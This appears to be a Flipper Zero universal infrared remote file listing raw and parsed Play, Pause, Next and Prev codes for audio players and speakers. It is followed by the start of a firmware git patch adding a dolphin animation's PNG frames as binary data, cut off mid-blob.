1460 550 1460 549 457 548 456 549 1461 549 1461 548 1461 549 1460 549 457 549 456 548 457 548 457 548 4461 549 456 548 457 548 457 548 457 548 457 548 457 548 1462 548 1461 547 457 549 457 548 456 549 1460 549 1461 547 1461 549 457 547 457 548 1461 549 1461 548 1461 548 457 548 55436 4578 4464 549 455 549 456 549 455 549 456 550 1460 549 1460 549 456 550 455 550 1460 550 1460 549 1460 550 1460 549 456 549 457 548 457 548 457 549 4461 548 457 548 457 548 457 548 457 547 457 549 457 547 1462 548 1461 549 457 548 457 548 457 548 1461 548 1461 548 1462 548 457 548 457 549 1461 549 1461 548 1461 548 457 548 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4554 4466 540 469 547 490 515 495 521 490 494 1478 522 1477 544 466 539 471 513 1512 488 1484 516 1483 570 1429 540 497 519 465 540 470 546 491 493 4490 548 462 543 467 549 488 517 493 491 1481 519 1480 541 495 489 1510 522 462 543 494 521 489 495 1476 545 466 539 471 513 1485 547 464 520 1505 495 1477 513 1487 545 465 540 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4555 4464 542 468 548 462 543 467 549 488 496 1477 523 1476 545 465 551 459 525 1475 515 1484 516 1483 517 1482 550 486 519 465 551 459 546 464 520 4490 547 488 517 467 549 462 543 467 548 462 543 467 517 1482 518 1481 540 496 520 464 541 469 515 1484 516 1483 517 1482 550 460 545 465 519 1480 520 1479 521 1478 543 493 522 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4549 4471 546 464 541 469 547 463 542 469 515 1484 516 1483 549 461 544 466 518 1481 519 1480 520 1479 521 1477 544 466 550 461 544 467 549 461 523 4486 541 469 546 464 541 469 547 464 541 469 515 1483 549 462 522 1477 544 465 540 471 545 465 572 1428 520 1479 542 468 569 1430 549 462 522 1476 514 1486 514 1485 547 463 542 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4552 4464 586 420 584 420 584 420 612 392 529 1478 531 1478 531 476 553 451 553 1455 554 1479 528 1480 528 1481 527 478 526 478 526 478 526 478 526 4497 526 478 526 478 526 478 526 478 526 478 526 1483 526 478 526 1483 526 478 526 478 526 478 526 1483 526 1483 526 478 526 1483 526 479 525 1483 526 1483 526 1483 526 478 526 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4548 4471 540 471 541 468 544 467 545 465 516 1482 512 1488 537 473 539 472 519 1479 514 1484 520 1479 515 1485 539 470 542 468 544 466 546 464 517 4493 538 472 540 470 542 468 544 466 546 464 517 1482 543 468 513 544 471 469 574 436 514 1485 519 1480 545 465 547 1452 573 438 543 1456 548 1451 543 1456 569 442 570 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4549 4471 546 464 541 469 547 463 542 469 515 1484 516 1483 549 461 544 466 518 1481 519 1480 520 1479 521 1477 544 466 550 461 544 467 549 461 523 4486 541 469 546 464 541 469 547 464 541 469 515 1483 549 462 522 1477 544 465 540 471 545 465 572 1428 520 1479 542 468 569 1430 549 462 522 1476 514 1486 514 1485 547 463 542 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4552 4464 586 420 584 420 584 420 612 392 529 1478 531 1478 531 476 553 451 553 1455 554 1479 528 1480 528 1481 527 478 526 478 526 478 526 478 526 4497 526 478 526 478 526 478 526 478 526 478 526 1483 526 478 526 1483 526 478 526 478 526 478 526 1483 526 1483 526 478 526 1483 526 479 525 1483 526 1483 526 1483 526 478 526 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 4548 4471 540 471 541 468 544 467 545 465 516 1482 512 1488 537 473 539 472 519 1479 514 1484 520 1479 515 1485 539 470 542 468 544 466 546 464 517 4493 538 472 540 470 542 468 544 466 546 464 517 1482 543 468 513 544 471 469 574 436 514 1485 519 1480 545 465 547 1452 573 438 543 1456 548 1451 543 1456 569 442 570 +# +name: Play +type: parsed +protocol: SIRC20 +address: 10 01 00 00 +command: 32 00 00 00 +# +name: Pause +type: parsed +protocol: SIRC20 +address: 10 01 00 00 +command: 39 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8E 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8E 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8B 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 8A 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 1B 00 00 00 +# +# Speakers +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 1041 1461 540 457 543 453 537 459 541 1459 541 1459 542 1459 541 1459 542 1458 542 1458 543 1458 542 1458 542 453 537 459 541 455 545 451 539 450 540 50518 1041 1461 540 457 543 452 538 459 541 1459 541 1459 542 1459 541 1458 543 1458 542 1458 542 1458 542 1457 544 453 537 459 541 455 545 451 539 449 541 50534 1036 1467 544 452 538 458 542 454 546 1455 545 1454 546 1454 536 1464 537 1464 536 1463 537 1463 537 1463 537 459 541 454 546 450 540 457 543 445 545 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 1041 1461 540 457 543 453 537 459 541 1459 541 1459 542 1459 541 1459 542 1458 542 1458 543 1458 542 1458 542 453 537 459 541 455 545 451 539 450 540 50518 1041 1461 540 457 543 452 538 459 541 1459 541 1459 542 1459 541 1458 543 1458 542 1458 542 1458 542 1457 544 453 537 459 541 455 545 451 539 449 541 50534 1036 1467 544 452 538 458 542 454 546 1455 545 1454 546 1454 536 1464 537 1464 536 1463 537 1463 537 1463 537 459 541 454 546 450 540 457 543 445 545 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 1044 1460 540 456 544 1457 543 1457 543 453 536 1465 545 450 539 457 543 1458 542 1458 542 454 546 451 539 1462 538 458 542 1459 541 1460 540 448 542 50525 1042 1462 538 458 542 1458 542 1459 541 455 545 1456 544 452 537 459 541 1460 540 1460 540 456 544 452 537 1464 536 460 540 1461 539 1461 539 449 540 50542 1046 1458 542 480 520 1455 545 1455 545 477 512 1463 547 474 515 481 519 1456 544 1457 543 478 522 475 514 1460 540 482 518 1457 543 1458 542 445 544 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 1046 1457 543 1458 542 454 546 450 539 1461 539 456 544 1458 542 1458 542 454 546 451 539 1461 539 1462 538 458 542 1459 541 454 546 451 539 1454 546 50538 1043 1461 539 1461 539 456 544 453 547 1454 546 449 541 1461 539 1462 538 457 543 453 547 1455 545 1455 545 451 539 1462 538 458 542 454 546 1447 543 50526 1044 1459 541 1459 541 455 545 451 539 1463 537 458 542 1459 541 1460 540 455 545 452 538 1463 537 1464 536 460 540 1461 539 456 544 453 536 1456 544 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 1013 1488 512 486 514 486 514 1485 515 484 516 484 516 1483 517 1482 518 1481 509 1490 510 1488 512 488 512 1487 513 1485 515 484 516 483 517 481 519 50939 1010 1489 511 488 512 488 512 1486 514 486 514 486 514 1485 515 1483 517 1482 518 1481 509 1489 511 489 511 1487 513 1485 515 484 516 484 516 482 518 50958 1013 1488 512 487 513 487 513 1485 515 485 515 485 515 1484 516 1483 517 1482 518 1481 509 1490 510 490 572 1426 512 1487 513 486 514 486 514 485 566 50908 1011 1490 510 489 511 489 511 1487 513 486 514 487 513 1485 515 1484 516 1483 517 1482 518 1480 510 491 571 1427 511 1488 512 488 512 487 513 486 565 50905 1013 1488 512 488 512 488 512 1486 514 486 514 486 514 1485 515 1484 516 1483 517 1481 509 1489 511 489 511 1488 512 1486 514 485 515 485 515 484 516 +# +name: Pause +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 1013 1488 512 486 514 486 514 1485 515 484 516 484 516 1483 517 1482 518 1481 509 1490 510 1488 512 488 512 1487 513 1485 515 484 516 483 517 481 519 50939 1010 1489 511 488 512 488 512 1486 514 486 514 486 514 1485 515 1483 517 1482 518 1481 509 1489 511 489 511 1487 513 1485 515 484 516 484 516 482 518 50958 1013 1488 512 487 513 487 513 1485 515 485 515 485 515 1484 516 1483 517 1482 518 1481 509 1490 510 490 572 1426 512 1487 513 486 514 486 514 485 566 50908 1011 1490 510 489 511 489 511 1487 513 486 514 487 513 1485 515 1484 516 1483 517 1482 518 1480 510 491 571 1427 511 1488 512 488 512 487 513 486 565 50905 1013 1488 512 488 512 488 512 1486 514 486 514 486 514 1485 515 1484 516 1483 517 1481 509 1489 511 489 511 1488 512 1486 514 485 515 485 515 484 516 +# +name: Next +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 19 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 77 00 00 00 +command: F8 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 14 EB 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 77 00 00 00 +command: F8 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 14 EB 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 1E E1 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 3F 5C 00 00 +command: 07 F8 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 12 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 3F 5C 00 00 +command: 07 F8 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 12 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 10 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 13 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 02 FD 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 02 FD 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 12 ED 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 05 FA 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0D F2 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 27 D8 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 25 DA 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 18 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 18 00 00 00 +# +name: Prev +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 4B 00 00 00 +# +name: Next +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 4A 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 21 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 21 00 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 3303 1908 408 1179 410 1177 412 442 409 444 407 446 405 448 414 1173 405 448 414 1173 416 1172 406 447 415 439 412 1175 414 440 411 1175 414 440 411 1175 414 440 411 442 409 444 407 447 415 438 413 440 411 442 409 444 407 446 405 1182 407 447 415 438 413 440 411 442 409 444 407 1180 409 1178 411 443 408 445 406 1180 409 445 406 447 415 438 413 440 411 442 409 444 407 1180 409 444 407 446 405 448 414 440 411 41789 3301 3346 362 42926 3307 3341 357 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 3301 1910 406 1155 434 1180 409 419 432 421 441 439 412 441 410 1178 411 416 435 1152 437 1177 412 442 409 417 434 1180 409 418 433 1180 409 445 406 1155 434 419 432 447 415 413 438 442 409 444 407 419 432 448 414 439 412 442 409 1177 412 442 409 444 407 420 431 448 414 413 438 1176 413 1174 415 413 438 1175 414 1173 405 422 440 440 411 416 435 418 433 447 415 439 412 441 410 1177 412 415 436 417 434 446 405 41164 3301 3321 387 42935 3307 3316 381 42941 3311 3312 385 +# +name: Play +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 9175 4433 644 1605 645 442 669 466 646 445 666 438 673 466 645 440 671 466 673 410 700 365 720 465 675 367 742 367 744 438 645 1604 675 1574 674 1549 702 1575 673 1576 646 1604 675 1574 676 1574 675 1576 644 1604 645 1606 672 1576 645 466 645 466 645 465 646 1575 675 1605 645 466 645 467 644 467 644 1605 644 1605 645 1606 644 467 644 467 644 1606 643 1578 672 1607 643 +# +name: Next +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 9146 4435 642 1577 673 449 662 454 658 451 661 469 642 468 644 469 642 453 659 470 642 470 642 469 643 469 642 469 642 469 642 1608 642 1606 643 1607 642 1607 642 1607 642 1577 673 1607 643 1607 642 1607 642 1607 642 1606 643 1576 674 1606 643 468 643 439 672 1607 642 1607 642 448 663 469 642 439 672 469 642 1577 672 1607 642 468 643 469 642 1607 642 1608 641 1608 640 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.33 +data: 9144 4405 671 1607 642 469 642 469 642 469 642 470 641 365 747 469 641 443 669 469 642 468 643 446 665 469 642 469 642 470 642 1580 669 1607 643 1607 642 1608 641 1578 672 1580 670 1608 641 1608 641 1609 590 1660 590 1635 615 1660 590 1660 590 1632 618 1633 617 521 590 1660 590 521 590 521 618 493 590 521 590 520 591 519 592 1657 592 519 592 1658 617 1633 616 1633 615 23844 9114 4461 615 +# +name: Play +type: parsed +protocol: SIRC +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: Play +type: parsed +protocol: NEC +address: FD 00 00 00 +command: BD 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 2D D3 00 00 +command: 00 FF 00 00 +# +name: Pause +type: parsed +protocol: NEC +address: FD 00 00 00 +command: BD 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 2D D3 00 00 +command: 00 FF 00 00 +# +name: Prev +type: parsed +protocol: NECext +address: 2D D3 00 00 +command: 07 F8 00 00 +# +name: Next +type: parsed +protocol: NECext +address: 2D D3 00 00 +command: 06 F9 00 00 From a76c189ca52871aa4fa9c94882202e19f008d202 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Tue, 30 May 2023 20:47:28 +0900 Subject: [PATCH 093/100] [FL-3335] Dolphin: new animation (#2713) --- .../external/L1_Kaiju_128x64/frame_0.png | Bin 0 -> 1312 bytes .../external/L1_Kaiju_128x64/frame_1.png | Bin 0 -> 1302 bytes .../external/L1_Kaiju_128x64/frame_10.png | Bin 0 -> 1332 bytes .../external/L1_Kaiju_128x64/frame_11.png | Bin 0 -> 1228 bytes .../external/L1_Kaiju_128x64/frame_12.png | Bin 0 -> 1152 bytes .../external/L1_Kaiju_128x64/frame_13.png | Bin 0 -> 1152 bytes .../external/L1_Kaiju_128x64/frame_14.png | Bin 0 -> 1162 bytes .../external/L1_Kaiju_128x64/frame_15.png | Bin 0 -> 1209 bytes .../external/L1_Kaiju_128x64/frame_16.png | Bin 0 -> 1158 bytes .../external/L1_Kaiju_128x64/frame_17.png | Bin 0 -> 1161 bytes .../external/L1_Kaiju_128x64/frame_18.png | Bin 0 -> 828 bytes .../external/L1_Kaiju_128x64/frame_19.png | Bin 0 -> 817 bytes .../external/L1_Kaiju_128x64/frame_2.png | Bin 0 -> 1288 bytes .../external/L1_Kaiju_128x64/frame_20.png | Bin 0 -> 1222 bytes .../external/L1_Kaiju_128x64/frame_21.png | Bin 0 -> 1494 bytes .../external/L1_Kaiju_128x64/frame_22.png | Bin 0 -> 1685 bytes .../external/L1_Kaiju_128x64/frame_23.png | Bin 0 -> 1680 bytes .../external/L1_Kaiju_128x64/frame_24.png | Bin 0 -> 1690 bytes .../external/L1_Kaiju_128x64/frame_25.png | Bin 0 -> 1658 bytes .../external/L1_Kaiju_128x64/frame_26.png | Bin 0 -> 1716 bytes .../external/L1_Kaiju_128x64/frame_27.png | Bin 0 -> 1741 bytes .../external/L1_Kaiju_128x64/frame_28.png | Bin 0 -> 1686 bytes .../external/L1_Kaiju_128x64/frame_29.png | Bin 0 -> 1626 bytes .../external/L1_Kaiju_128x64/frame_3.png | Bin 0 -> 1305 bytes .../external/L1_Kaiju_128x64/frame_30.png | Bin 0 -> 1677 bytes .../external/L1_Kaiju_128x64/frame_31.png | Bin 0 -> 1639 bytes .../external/L1_Kaiju_128x64/frame_32.png | Bin 0 -> 1618 bytes .../external/L1_Kaiju_128x64/frame_33.png | Bin 0 -> 1595 bytes .../external/L1_Kaiju_128x64/frame_34.png | Bin 0 -> 1591 bytes .../external/L1_Kaiju_128x64/frame_35.png | Bin 0 -> 1560 bytes .../external/L1_Kaiju_128x64/frame_36.png | Bin 0 -> 1592 bytes .../external/L1_Kaiju_128x64/frame_37.png | Bin 0 -> 1494 bytes .../external/L1_Kaiju_128x64/frame_38.png | Bin 0 -> 1489 bytes .../external/L1_Kaiju_128x64/frame_39.png | Bin 0 -> 1438 bytes .../external/L1_Kaiju_128x64/frame_4.png | Bin 0 -> 1284 bytes .../external/L1_Kaiju_128x64/frame_40.png | Bin 0 -> 1438 bytes .../external/L1_Kaiju_128x64/frame_41.png | Bin 0 -> 1412 bytes .../external/L1_Kaiju_128x64/frame_42.png | Bin 0 -> 1425 bytes .../external/L1_Kaiju_128x64/frame_43.png | Bin 0 -> 1397 bytes .../external/L1_Kaiju_128x64/frame_44.png | Bin 0 -> 1217 bytes .../external/L1_Kaiju_128x64/frame_45.png | Bin 0 -> 1177 bytes .../external/L1_Kaiju_128x64/frame_46.png | Bin 0 -> 1300 bytes .../external/L1_Kaiju_128x64/frame_47.png | Bin 0 -> 1268 bytes .../external/L1_Kaiju_128x64/frame_5.png | Bin 0 -> 1318 bytes .../external/L1_Kaiju_128x64/frame_6.png | Bin 0 -> 1312 bytes .../external/L1_Kaiju_128x64/frame_7.png | Bin 0 -> 1301 bytes .../external/L1_Kaiju_128x64/frame_8.png | Bin 0 -> 1308 bytes .../external/L1_Kaiju_128x64/frame_9.png | Bin 0 -> 1336 bytes .../dolphin/external/L1_Kaiju_128x64/meta.txt | 50 ++++++++++++++++++ assets/dolphin/external/manifest.txt | 7 +++ 50 files changed, 57 insertions(+) create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_0.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_1.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_10.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_11.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_12.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_13.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_14.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_15.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_16.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_17.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_18.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_19.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_2.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_20.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_21.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_22.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_23.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_24.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_25.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_26.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_27.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_28.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_29.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_3.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_30.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_31.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_32.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_33.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_34.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_35.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_36.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_37.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_38.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_39.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_4.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_40.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_41.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_42.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_43.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_44.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_45.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_46.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_47.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_5.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_6.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_7.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_8.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/frame_9.png create mode 100644 assets/dolphin/external/L1_Kaiju_128x64/meta.txt diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_0.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_0.png new file mode 100644 index 0000000000000000000000000000000000000000..8b8dc80bce09adfd26988d9021687d77b536961a GIT binary patch literal 1312 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 